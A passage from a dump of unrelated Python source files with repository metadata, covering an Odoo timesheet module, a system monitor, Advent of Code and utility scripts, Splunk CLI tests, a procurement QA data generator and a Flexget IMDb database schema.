att_tz_date_str = self._get_attendance_employee_tz( cr, uid, employee_id, date=date, context=context) sheet_ids = sheet_obj.search(cr, uid, [('date_from', '<=', att_tz_date_str), ('date_to', '>=', att_tz_date_str), ('employee_id', '=', employee_id)], limit=1, context=context) return sheet_ids and sheet_ids[0] or False def _sheet(self, cursor, user, ids, name, args, context=None): res = {}.fromkeys(ids, False) for attendance in self.browse(cursor, user, ids, context=context): res[attendance.id] = self._get_current_sheet( cursor, user, attendance.employee_id.id, attendance.name, context=context) return res _columns = { 'sheet_id': fields.function(_sheet, string='Sheet', type='many2one', relation='hr_timesheet_sheet.sheet', store={ 'hr_timesheet_sheet.sheet': (_get_hr_timesheet_sheet, ['employee_id', 'date_from', 'date_to'], 10), 'hr.attendance': (lambda self,cr,uid,ids,context=None: ids, ['employee_id', 'name', 'day'], 10), }, ) } _defaults = { 'name': _get_default_date, } def create(self, cr, uid, vals, context=None): if context is None: context = {} sheet_id = context.get('sheet_id') or self._get_current_sheet(cr, uid, vals.get('employee_id'), vals.get('name'), context=context) if sheet_id: att_tz_date_str = self._get_attendance_employee_tz( cr, uid, vals.get('employee_id'), date=vals.get('name'), context=context) ts = self.pool.get('hr_timesheet_sheet.sheet').browse(cr, uid, sheet_id, context=context) if ts.state not in ('draft', 'new'): raise osv.except_osv(_('Error!'), _('You can not enter an attendance in a submitted timesheet. Ask your manager to reset it before adding attendance.')) elif ts.date_from > att_tz_date_str or ts.date_to < att_tz_date_str: raise osv.except_osv(_('User Error!'), _('You can not enter an attendance date outside the current timesheet dates.')) return super(hr_attendance,self).create(cr, uid, vals, context=context) def unlink(self, cr, uid, ids, *args, **kwargs): if isinstance(ids, (int, long)): ids = [ids] self._check(cr, uid, ids) return super(hr_attendance,self).unlink(cr, uid, ids,*args, **kwargs) def write(self, cr, uid, ids, vals, context=None): if context is None: context = {} if isinstance(ids, (int, long)): ids = [ids] self._check(cr, uid, ids) res = super(hr_attendance,self).write(cr, uid, ids, vals, context=context) if 'sheet_id' in context: for attendance in self.browse(cr, uid, ids, context=context): if context['sheet_id'] != attendance.sheet_id.id: raise osv.except_osv(_('User Error!'), _('You cannot enter an attendance ' \ 'date outside the current timesheet dates.')) return res def _check(self, cr, uid, ids): for att in self.browse(cr, uid, ids): if att.sheet_id and att.sheet_id.state not in ('draft', 'new'): raise osv.except_osv(_('Error!'), _('You cannot modify an entry in a confirmed timesheet')) return True hr_attendance() class hr_timesheet_sheet_sheet_day(osv.osv): _name = "hr_timesheet_sheet.sheet.day" _description = "Timesheets by Period" _auto = False _order='name' _columns = { 'name': fields.date('Date', readonly=True), 'sheet_id': fields.many2one('hr_timesheet_sheet.sheet', 'Sheet', readonly=True, select="1"), 'total_timesheet': fields.float('Total Timesheet', readonly=True), 'total_attendance': fields.float('Attendance', readonly=True), 'total_difference': fields.float('Difference', readonly=True), } def init(self, cr): cr.execute("""create or replace view hr_timesheet_sheet_sheet_day as SELECT id, name, sheet_id, total_timesheet, total_attendance, cast(round(cast(total_attendance - total_timesheet as Numeric),2) as Double Precision) AS total_difference FROM (( SELECT MAX(id) as id, name, sheet_id, SUM(total_timesheet) as total_timesheet, CASE WHEN SUM(total_attendance) < 0 THEN (SUM(total_attendance) + CASE WHEN current_date <> name THEN 1440 ELSE (EXTRACT(hour FROM current_time AT TIME ZONE 'UTC') * 60) + EXTRACT(minute FROM current_time AT TIME ZONE 'UTC') END ) ELSE SUM(total_attendance) END /60 as total_attendance FROM (( select min(hrt.id) as id, l.date::date as name, s.id as sheet_id, sum(l.unit_amount) as total_timesheet, 0.0 as total_attendance from hr_analytic_timesheet hrt JOIN account_analytic_line l ON l.id = hrt.line_id LEFT JOIN hr_timesheet_sheet_sheet s ON s.id = hrt.sheet_id group by l.date::date, s.id ) union ( select -min(a.id) as id, a.name::date as name, s.id as sheet_id, 0.0 as total_timesheet, SUM(((EXTRACT(hour FROM a.name) * 60) + EXTRACT(minute FROM a.name)) * (CASE WHEN a.action = 'sign_in' THEN -1 ELSE 1 END)) as total_attendance from hr_attendance a LEFT JOIN hr_timesheet_sheet_sheet s ON s.id = a.sheet_id WHERE action in ('sign_in', 'sign_out') group by a.name::date, s.id )) AS foo GROUP BY name, sheet_id )) AS bar""") hr_timesheet_sheet_sheet_day() class hr_timesheet_sheet_sheet_account(osv.osv): _name = "hr_timesheet_sheet.sheet.account" _description = "Timesheets by Period" _auto = False _order='name' _columns = { 'name': fields.many2one('account.analytic.account', 'Project / Analytic Account', readonly=True), 'sheet_id': fields.many2one('hr_timesheet_sheet.sheet', 'Sheet', readonly=True), 'total': fields.float('Total Time', digits=(16,2), readonly=True), 'invoice_rate': fields.many2one('hr_timesheet_invoice.factor', 'Invoice rate', readonly=True), } def init(self, cr): cr.execute("""create or replace view hr_timesheet_sheet_sheet_account as ( select min(hrt.id) as id, l.account_id as name, s.id as sheet_id, sum(l.unit_amount) as total, l.to_invoice as invoice_rate from hr_analytic_timesheet hrt left join (account_analytic_line l LEFT JOIN hr_timesheet_sheet_sheet s ON (s.date_to >= l.date AND s.date_from <= l.date AND s.user_id = l.user_id)) on (l.id = hrt.line_id) group by l.account_id, s.id, l.to_invoice )""") hr_timesheet_sheet_sheet_account() class res_company(osv.osv): _inherit = 'res.company' _columns = { 'timesheet_range': fields.selection( [('day','Day'),('week','Week'),('month','Month')], 'Timesheet range', help="Periodicity on which you validate your timesheets."), 'timesheet_max_difference': fields.float('Timesheet allowed difference(Hours)', help="Allowed difference in hours between the sign in/out and the timesheet " \ "computation for one sheet. Set this to 0 if you do not want any control."), } _defaults = { 'timesheet_range': lambda *args: 'week', 'timesheet_max_difference': lambda *args: 0.0 } res_company() # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:

5d7b30ee6755513b630ed79ce0ddd64d0708b094

py

Python

main.py

rajat004/py_watch

4b39d0d6d5084efb04492c38ada3063b837803c3

main.py

rajat004/py_watch

4b39d0d6d5084efb04492c38ada3063b837803c3

main.py

rajat004/py_watch

4b39d0d6d5084efb04492c38ada3063b837803c3

from activity_monitor.cpu import CpuMonitor from activity_monitor.memory import MemoryMonitor from config import CPUConstants, MemConstants, ActivityNames, REST_INTERVAL import time from datetime import datetime from core.notification import Notification import logging logger = logging.getLogger(__name__) def service(): cpu_monitor = CpuMonitor(threshold_low=CPUConstants.low.value, threshold_high=CPUConstants.high.value, activity_name=ActivityNames.cpu.value, current_value=0) mem_monitor = MemoryMonitor(threshold_low=MemConstants.low.value, threshold_high=MemConstants.high.value, activity_name=ActivityNames.memory.value, current_value=0) while(True): logger.info('sleeping at {0} !'.format(datetime.now())) time.sleep(REST_INTERVAL) logger.info('woke up at {0} !'.format(datetime.now())) cpu_activity = cpu_monitor.monitor_activity() mem_activity = mem_monitor.monitor_activity() Notification.send_notifications([mem_activity, cpu_activity]) if __name__ == '__main__': service()

1c1fff7fca4bd41bd722972474c9e2dc15665428

py

Python

algo-c-to-_/examples/horner_.py

nobi56/aRepo

4d444647ceedd239a1bc37bfa31ba8f204fca0ef

algo-c-to-_/examples/horner_.py

nobi56/aRepo

4d444647ceedd239a1bc37bfa31ba8f204fca0ef

algo-c-to-_/examples/horner_.py

nobi56/aRepo

4d444647ceedd239a1bc37bfa31ba8f204fca0ef

# # from src/horner.c # # double horner(int, double a[], double) to horner # from horner import horner def fmt(a): assert len(a) > 0, "ERROR: 'a' must be a list/tuple that contains at least one element." r = [] for i in range(len(a)-1, 1, -1): r.append("{0} * x^{1}".format(a[i], i)) if len(a) >= 2: r.append("{0} * x".format(a[1])) r.append(str(a[0])) return "f(x) = {0}".format(" + ".join(r)) a = (1, 2, 3, 4, 5) print(fmt(a)) print("f({0}) = {1}".format(2, horner(a,2))) print("f({0}) = {1}".format(11, horner(a,11))) print("f({0}) = {1}".format(121, horner(a,121)))

20c1cfaa3bd5cc9e9c68592774b6e25f3c1ef0c9

py

Python

__pythonBuildSpecialString.py

simdevex/01.Basics

cf4f372384e66f4b26e4887d2f5d815a1f8e929c

__pythonBuildSpecialString.py

simdevex/01.Basics

cf4f372384e66f4b26e4887d2f5d815a1f8e929c

__pythonBuildSpecialString.py

simdevex/01.Basics

cf4f372384e66f4b26e4887d2f5d815a1f8e929c

''' Python program to get a new string from a given string where"Is" has been added to the front. If the given string already begins with"Is" then return the string unchanged ''' def checkString (inputString =''): if inputString[0:2] == "Is": return inputString else: return "Is " + inputString def main(): myString = input ("Please type a sentence: ") print (checkString (myString)) main ()

509da87fe0bab7f407ba2c2300c36c1399352288

py

Python

common/enumerable.py

GitKlip/python-common

b44d1aaba5db3e1aa571b189999a8edea54c96bb

common/enumerable.py

GitKlip/python-common

b44d1aaba5db3e1aa571b189999a8edea54c96bb

common/enumerable.py

GitKlip/python-common

b44d1aaba5db3e1aa571b189999a8edea54c96bb

from collections import defaultdict from itertools import chain from itertools import combinations from itertools import islice from itertools import tee def group_by(func, values): """ Groups values by func. Returns (dict): Keys produced by func pointing to lists of the values grouped. """ groups = defaultdict(list) for value in values: groups[func(value)].append(value) return dict(groups) def index_by(func, values): """ Indexes values by func. Returns (dict): Keys produced by func, each pointing to one value. """ return {func(value): value for value in values} def each_cons(size, iterable): """ Moves a sliding window along the iterable and yields consecutive windows. Example: for window in each_cons(3, [1,2,3,4,5]): print(chunk) # output: [1, 2, 3] [2, 3, 4] [3, 4, 5] Taken from: https://stackoverflow.com/a/54110047/422075 """ iterators = tee(iterable, size) iterators = [islice(iterator, i, None) for i, iterator in enumerate(iterators)] yield from zip(*iterators) def each_slice(size, iterable): """ Chunks the iterable into size elements at a time, each yielded as a list. Example: for chunk in each_slice(2, [1,2,3,4,5]): print(chunk) # output: [1, 2] [3, 4] [5] """ current_slice = [] for item in iterable: current_slice.append(item) if len(current_slice) >= size: yield current_slice current_slice = [] if current_slice: yield current_slice def each_slice_or_size(iterable, max_len: int, max_bytes: float): current_slice = [] for item in iterable: if sys.getsizeof(current_slice) + sys.getsizeof(item) >= max_bytes: yield current_slice current_slice = [] current_slice.append(item) if len(current_slice) >= max_len: yield current_slice current_slice = [] if current_slice: yield current_slice def all_combinations(iterable, min_size=1, max_size=None): """ Returns combinations of all lengths up to the size of iterable. Args: iterable (iterable): Anything that can be turned into a list. min_size (int): The min size of a combination. max_size (int): The max size of a combination. If None, defaults to len(list(iterable)). Returns: (iterator): An iterator returning all requested combinations. Example: iterator = all_combinations([1, 2, 3]) # output of list(iterator): [(1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)] """ min_size = max(min_size, 0) as_list = list(iterable) size = len(as_list) max_size = size if max_size is None else max_size max_size = min(size, max_size) return chain.from_iterable(combinations(as_list, size) for size in range(min_size, max_size + 1)) def compact(iterable, generator=False): """ Returns a list where all None values have been discarded. """ if generator: return (val for val in iterable if val is not None) else: return [val for val in iterable if val is not None]

283fa3bacea06cb6cfdf18edb591b4b66af2ff8c

py

Python

2020/04.py

MastProTech/Advent-of-Code

3ffdb9b0cfcca72084cc8fd6e2e9a431443dd3dc

2020-12-05T12:55:10.000Z

2020-12-05T12:55:10.000Z

2020/04.py

MastProTech/Advent-of-Code

3ffdb9b0cfcca72084cc8fd6e2e9a431443dd3dc

2020/04.py

MastProTech/Advent-of-Code

3ffdb9b0cfcca72084cc8fd6e2e9a431443dd3dc

import re from runner import read_file def extract_keys_values(text:str)->list: # Seperates each passport, and then each passport's keys and values t_list=re.split('\n{2}', text) t_list=list(map(str.split, t_list)) output=list() for i in range(len(t_list)): output.append([]) for j in range(len(t_list[i])): output[i].append(t_list[i][j].split(':')) output[i]=dict(output[i]) return output def return_passport_validity_part1(l:list)->bool: i=l.keys() if 'ecl' in i and 'pid' in i and 'eyr' in i and 'hcl' in i and 'byr' in i and 'iyr' in i and 'hgt' in i: return True return False def verify(key:str, val:str)->bool: # Verifies if keys are assigned valid values or not if key=='byr': if int(val)>=1920 and int(val)<=2002: return True elif key=='iyr': if int(val)>=2010 and int(val)<=2020: return True elif key=='eyr': if int(val)>=2020 and int(val)<=2030: return True elif key=='hgt': if val[-2:]=='cm': if int(val[:-2])>=150 and int(val[:-2])<=193: return True elif val[-2:]=='in': if int(val[:-2])>=59 and int(val[:-2])<=76: return True elif key=='hcl': match=re.match('^#[0-9a-f]{6}$', val) if match is not None: return True elif key=='ecl': ecl=['amb', 'blu', 'brn', 'gry', 'grn', 'hzl', 'oth'] if val in ecl: return True elif key=='pid': match=re.match('^[0-9]{9}$', val) if match is not None: return True return False def return_passport_validity_part2(l:list)->bool: i=l.keys() if ( ('byr' in i and verify('byr', l['byr'])) and ('iyr' in i and verify('iyr', l['iyr'])) and ('eyr' in i and verify('eyr', l['eyr'])) and ('hgt' in i and verify('hgt', l['hgt'])) and ('hcl' in i and verify('hcl', l['hcl'])) and ('ecl' in i and verify('ecl', l['ecl'])) and ('pid' in i and verify('pid', l['pid']))): return True return False def clone_part2(l:list)->bool: # NOTE: Copied code of this function. Source: https://www.reddit.com/r/adventofcode/comments/k6e8sw/2020_day_04_solutions/gemhjlu/ valid=False fields_required={'byr', 'iyr', 'eyr', 'hgt', 'hcl', 'ecl', 'pid'} field_pattern = {'byr': '(^(19)[2-9][0-9]$)|(^(200)[0-2]$)', 'iyr': '(^(201)[0-9]$)|(^(2020)$)', 'eyr': '(^(202)[0-9]$)|(^(2030)$)', 'hgt': '(^((1[5-8][0-9])|((19)[0-3]))cm$)|(^((59)|(6[0-9])|(7[0-6]))in$)', 'hcl': '^#[0-9a-f]{6}$', 'ecl': '(^amb$)|(^blu$)|(^brn$)|(^gry$)|(^grn$)|(^hzl$)|(^oth$)', 'pid': '^[0-9]{9}$', 'cid': '(.*?)'} if fields_required.issubset(l.keys()): valid=True for key in l.keys(): valid=valid and bool(re.match(field_pattern[key], l[key])) return valid if __name__=='__main__': text=read_file('04.txt') output=extract_keys_values(text) print('Total Passports:',len(output)) print('Part 1: Valid Passports:',list(map(return_passport_validity_part1, output)).count(True)) print('Part 2: Valid Passports:',list(map(return_passport_validity_part2, output)).count(True)) print('Part 2: (Using another function):',list(map(clone_part2, output)).count(True)) # One of the best solutions I found on the internet. ♥ Source: https://www.reddit.com/r/adventofcode/comments/k6e8sw/2020_day_04_solutions/gemhjlu/

3bae9a7aa83d43f6d71f5b9fac9a97079f4b1c62

py

Python

test/scloud/test_appreg.py

harsimranmaan/splunk-cloud-sdk-go

24fbc60263a158ce57f7f467a95b725656950949

test/scloud/test_appreg.py

harsimranmaan/splunk-cloud-sdk-go

24fbc60263a158ce57f7f467a95b725656950949

test/scloud/test_appreg.py

harsimranmaan/splunk-cloud-sdk-go

24fbc60263a158ce57f7f467a95b725656950949

import unittest import test def appreg(*args): return test.scloud("appreg", *args) class TestAppregistry(unittest.TestCase): def setUp(self): # retrieve the selected tenant name code, self.tname, _ = test.scloud("get", "tenant") self.assertEqual(0, code) self.assertIsNotNone(self.tname) # delete apps/subscription in case a test fails in the middle def tearDown(self): appreg("delete-app", "scloudapptest") appreg("delete-app", "scloudsubscription") appreg("delete-subscription", "scloudsubscriptiontest") appreg("delete-app", "scloudrotatesecrettest") def test_create_get_delete_app(self): appName = "scloudapptesting" code, result, _ = appreg("create-app", appName, "web", "--redirect-urls", "https://redirect1.com", "--title", "scloudapptitle") self.assertEqual(0, code) self.assertIsNotNone(result) # Get-app-Tests code, result, _ = appreg("get-app", appName) self.assertEqual(0, code) self.assertIsNotNone(result) # List-all-app-Tests code, result, _ = appreg("list-apps") self.assertEqual(0, code) self.assertIsNotNone(result) # Update app code, result, _ = appreg("update-app", appName, "--redirect-urls", "https://redirect2.com , https://mycompany.com", "--title", "scloudapptitle") self.assertEqual(0, code) self.assertIsNotNone(result) # Clean up code, result, _ = appreg("delete-app", appName) self.assertEqual(0, code) def test_create_get_delete_subscription(self): appName = "scloudsubscription" # Create-app code, result, _ = appreg("create-app", appName, "web", "--redirect-urls", "https://redirect1.com", "--title", appName) # Create-subscription-Tests code, result, _ = appreg("create-subscription", appName) self.assertEqual(0, code) # Get-subscription-Tests code, result, _ = appreg("get-subscription", appName) self.assertEqual(0, code) self.assertIsNotNone(result) # Get-subscription-of Non-exist app Tests code, result, _ = appreg("get-subscription", "nosuchapp") self.assertEqual(1, code) # List-all-subscriptions-Test code, result, _ = appreg("list-subscriptions", "web") self.assertEqual(0, code) self.assertIsNotNone(result) # Clean up code, result, _ = appreg("delete-subscription", appName) self.assertEqual(0, code) code, result, _ = appreg("delete-app", appName) self.assertEqual(0, code) def test_rotate_secret(self): appName = "scloudrotatesecret" code, result, _ = appreg("create-app", appName, "web", "--redirect-urls", "https://redirect1.com", "--title", appName) self.assertEqual(0, code) self.assertIsNotNone(result) # rotate app secret code, result, _ = appreg("rotate-secret", appName) self.assertEqual(0, code) self.assertIsNotNone(result) # Clean up code, result, _ = appreg("delete-app", appName) self.assertEqual(0, code) def test_get_spec_json(self): code, result, _ = appreg("get-spec-json") self.assertEqual(0, code) self.assertTrue(result) def test_get_spec_yaml(self): code, result, _ = appreg("get-spec-yaml") self.assertEqual(0, code) self.assertTrue(result)

b39270499a1de4e402802dac367ca1d006653043

py

Python

examples/question_answering/generate_data.py

Tufeiming/simpletransformers

d61ee86836a6c91ccb5e2fa2cd2cdeb9b0af40db

examples/question_answering/generate_data.py

Tufeiming/simpletransformers

d61ee86836a6c91ccb5e2fa2cd2cdeb9b0af40db

examples/question_answering/generate_data.py

Tufeiming/simpletransformers

d61ee86836a6c91ccb5e2fa2cd2cdeb9b0af40db

import json def get_question(field, keyword_list, context): if field == "budget_amount": question = "预算金额" elif field == "bid_amount": question = "中标金额" elif field == "party_a_name": question = "采购人" elif field == "party_a_contact": question = "采购联系人" elif field == "party_a_contact_number": question = "采购联系电话" elif field == "agency_name": question = "代理机构" elif field == "agency_contact": question = "代理机构联系人" elif field == "agency_contact_number": question = "代理机构联系电话" elif field == "party_b_name": question = "中标人" else: question = "" for keyword in keyword_list: if keyword in context: question = keyword break return question def generate_example(input_text): context = input_text qas = [] # 预算金额 temp_field = "budget_amount" temp_list = ['起拍价', '底价', '预算金额', '采购金额', '招标控制价', '投资额', '总预算', '采购预算价', '采购资金', '最高限价', '控制价', '拦标价', '建安造价', '工程预算'] temp_question = get_question(temp_field, temp_list, context) qas.append({"question": temp_question, "id": temp_field}) # 中标金额 temp_field = "bid_amount" temp_list = ['中标金额', '成交金额', '预中标价格', '合同金额', '合同总金额', '中标价格', '成交价格', '采购合同金额', '签约合同价', '成交价', '成交价合计', '成交价款', '成交商家报价', '中标商家报价', '中选金额'] temp_question = get_question(temp_field, temp_list, context) qas.append({"question": temp_question, "id": temp_field}) # 甲方名称 temp_field = "party_a_name" temp_list = ['采购单位', '招标单位', '建设单位', '采购单位名称', '招标人名称', '招标人单位名称', '采购人', '招标人', '发包人', '采购人名称'] temp_question = get_question(temp_field, temp_list, context) qas.append({"question": temp_question, "id": temp_field}) # 甲方联系人 temp_field = "party_a_contact" temp_list = ['采购', '招标'] temp_question = get_question(temp_field, temp_list, context) + "联系人" qas.append({"question": temp_question, "id": temp_field}) # 甲方联系电话 temp_field = "party_a_contact_number" temp_list = ['采购', '招标'] temp_question = get_question(temp_field, temp_list, context) + "联系电话" qas.append({"question": temp_question, "id": temp_field}) # 代理机构名称 temp_field = "agency_name" qas.append({"question": "代理机构", "id": temp_field}) # 代理机构联系人 temp_field = "agency_contact" qas.append({"question": "代理机构联系人", "id": temp_field}) # 代理机构联系电话 temp_field = "agency_contact_number" qas.append({"question": "代理机构联系电话", "id": temp_field}) # 乙方名称 temp_field = "party_b_name" temp_list = ['乙方', '供应商', '中标单位', '中标公司', '成交单位', '成交公司', '承包单位', '承包公司', '中标人', '成交人', '承包人'] temp_question = get_question(temp_field, temp_list, context) qas.append({"question": temp_question, "id": temp_field}) return { "qas": qas, "context": context } if __name__ == '__main__': text = "START项目名称和编号 西南财经大学智慧教室多媒体智能扩音设备采购项目(WZ201929) 采购人 西南财经大学" \ " 地址及联系方式 成都市温江区柳台大道555号028-87092439 评审小组 纪建国、钱彤、李科、胡芳、赵亮 中标商家名称 " \ "成都市创航科技有限公司 中标商家地址 成都市武侯区人民南路四段一号 中标商家报价 461800元 主要标的名称 智能扩音设备一：" \ "艾力特OS-704FC-A80台 智能扩音设备二：艾力特SPK-3E196台 智能扩音设备三：艾力特MS-D05080台；END" data = generate_example(text) print(json.dumps(data, ensure_ascii=False, indent=4))

e85162bc6f782a754ec6f1fc9fc5ab583c487a51

py

Python

flexget/components/imdb/db.py

signe/Flexget

dfe92d03415aab8254c5cf4827e06ad13da10504

flexget/components/imdb/db.py

signe/Flexget

dfe92d03415aab8254c5cf4827e06ad13da10504

flexget/components/imdb/db.py

signe/Flexget

dfe92d03415aab8254c5cf4827e06ad13da10504

from datetime import datetime, timedelta from loguru import logger from sqlalchemy import Boolean, Column, DateTime, Float, Integer, String, Table, Unicode from sqlalchemy.orm import relation from sqlalchemy.schema import ForeignKey, Index from flexget import db_schema from flexget.components.imdb.utils import extract_id from flexget.db_schema import UpgradeImpossible logger = logger.bind(name='imdb.db') SCHEMA_VER = 9 Base = db_schema.versioned_base('imdb_lookup', SCHEMA_VER) # association tables genres_table = Table( 'imdb_movie_genres', Base.metadata, Column('movie_id', Integer, ForeignKey('imdb_movies.id')), Column('genre_id', Integer, ForeignKey('imdb_genres.id')), Index('ix_imdb_movie_genres', 'movie_id', 'genre_id'), ) Base.register_table(genres_table) actors_table = Table( 'imdb_movie_actors', Base.metadata, Column('movie_id', Integer, ForeignKey('imdb_movies.id')), Column('actor_id', Integer, ForeignKey('imdb_actors.id')), Index('ix_imdb_movie_actors', 'movie_id', 'actor_id'), ) Base.register_table(actors_table) directors_table = Table( 'imdb_movie_directors', Base.metadata, Column('movie_id', Integer, ForeignKey('imdb_movies.id')), Column('director_id', Integer, ForeignKey('imdb_directors.id')), Index('ix_imdb_movie_directors', 'movie_id', 'director_id'), ) Base.register_table(directors_table) writers_table = Table( 'imdb_movie_writers', Base.metadata, Column('movie_id', Integer, ForeignKey('imdb_movies.id')), Column('writer_id', Integer, ForeignKey('imdb_writers.id')), Index('ix_imdb_movie_writers', 'movie_id', 'writer_id'), ) Base.register_table(writers_table) class Movie(Base): __tablename__ = 'imdb_movies' id = Column(Integer, primary_key=True) title = Column(Unicode) original_title = Column(Unicode) url = Column(String, index=True) # many-to-many relations genres = relation('Genre', secondary=genres_table, backref='movies') actors = relation('Actor', secondary=actors_table, backref='movies') directors = relation('Director', secondary=directors_table, backref='movies') writers = relation('Writer', secondary=writers_table, backref='movies') languages = relation('MovieLanguage', order_by='MovieLanguage.prominence') score = Column(Float) votes = Column(Integer) meta_score = Column(Integer) year = Column(Integer) plot_outline = Column(Unicode) mpaa_rating = Column(String, default='') photo = Column(String) # updated time, so we can grab new rating counts after 48 hours # set a default, so existing data gets updated with a rating updated = Column(DateTime) @property def imdb_id(self): return extract_id(self.url) @property def expired(self): """ :return: True if movie details are considered to be expired, ie. need of update """ if self.updated is None: logger.debug('updated is None: {}', self) return True refresh_interval = 2 if self.year: # Make sure age is not negative age = max((datetime.now().year - self.year), 0) refresh_interval += age * 5 logger.debug('movie `{}` age {} expires in {} days', self.title, age, refresh_interval) return self.updated < datetime.now() - timedelta(days=refresh_interval) def __repr__(self): return '<Movie(name=%s,votes=%s,year=%s)>' % (self.title, self.votes, self.year) class MovieLanguage(Base): __tablename__ = 'imdb_movie_languages' movie_id = Column(Integer, ForeignKey('imdb_movies.id'), primary_key=True) language_id = Column(Integer, ForeignKey('imdb_languages.id'), primary_key=True) prominence = Column(Integer) language = relation('Language') def __init__(self, language, prominence=None): self.language = language self.prominence = prominence class Language(Base): __tablename__ = 'imdb_languages' id = Column(Integer, primary_key=True) name = Column(Unicode) def __init__(self, name): self.name = name class Genre(Base): __tablename__ = 'imdb_genres' id = Column(Integer, primary_key=True) name = Column(String) def __init__(self, name): self.name = name class Actor(Base): __tablename__ = 'imdb_actors' id = Column(Integer, primary_key=True) imdb_id = Column(String) name = Column(Unicode) def __init__(self, imdb_id, name=None): self.imdb_id = imdb_id self.name = name class Director(Base): __tablename__ = 'imdb_directors' id = Column(Integer, primary_key=True) imdb_id = Column(String) name = Column(Unicode) def __init__(self, imdb_id, name=None): self.imdb_id = imdb_id self.name = name class Writer(Base): __tablename__ = 'imdb_writers' id = Column(Integer, primary_key=True) imdb_id = Column(String) name = Column(Unicode) def __init__(self, imdb_id, name=None): self.imdb_id = imdb_id self.name = name class SearchResult(Base): __tablename__ = 'imdb_search' id = Column(Integer, primary_key=True) title = Column(Unicode, index=True) url = Column(String) fails = Column(Boolean, default=False) queried = Column(DateTime) @property def imdb_id(self): return extract_id(self.url) def __init__(self, title, url=None): self.title = title self.url = url self.queried = datetime.now() def __repr__(self): return '<SearchResult(title=%s,url=%s,fails=%s)>' % (self.title, self.url, self.fails) @db_schema.upgrade('imdb_lookup') def upgrade(ver, session): # v5 We may have cached bad data due to imdb changes, just wipe everything. GitHub #697 # v6 The association tables were not cleared on the last upgrade, clear again. GitHub #714 # v7 Another layout change cached bad data. GitHub #729 # v8 Added writers to the DB Schema # v9 Added Metacritic score exftraction/filtering if ver is None or ver <= 8: raise UpgradeImpossible( 'Resetting imdb_lookup caches because bad data may have been cached.' ) return ver

a8d626e3a3009f41687b24ed927d4cc699be7fc6

py

Python

scripts/plots/master/plot_nice_confusion_matrix.py

dslaborg/sleep-mice-tuebingen

95208c327b06284658afe17bb3f4e95778f3f943

scripts/plots/master/plot_nice_confusion_matrix.py

dslaborg/sleep-mice-tuebingen

95208c327b06284658afe17bb3f4e95778f3f943

scripts/plots/master/plot_nice_confusion_matrix.py

dslaborg/sleep-mice-tuebingen